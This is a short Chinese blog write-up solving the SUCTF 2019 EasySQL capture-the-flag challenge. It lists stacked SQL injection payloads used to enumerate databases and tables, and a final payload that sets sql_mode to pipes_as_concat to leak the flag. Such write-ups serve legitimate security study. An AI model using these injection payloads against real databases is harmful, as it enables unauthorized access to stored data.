[SUCTF 2019]EasySQL

发布时间 2023-10-31 17:40:03作者: imtaieee

题目提示如下。
image.png
猜测后台语句是设置为仅在用户输入与 flag 完全一致时才输出 flag
尝试输入:1;show databases;#,发现存在堆叠注入。
image.png
输入:1;show tables;#,获取当前存在的数据表。
image.png
尝试输入:1;show columns from Flag;#,经过对比,发现 fromFlag 被过滤,这里无法绕过。结合提示,猜测后台的查询语句可能为:$sql = "select ".$post['query']."||flag from Flag";sql_mode=pipes_as_concat 会让 || 变成类似 concat() 函数,因此Payload1;set sql_mode=pipes_as_concat;select 1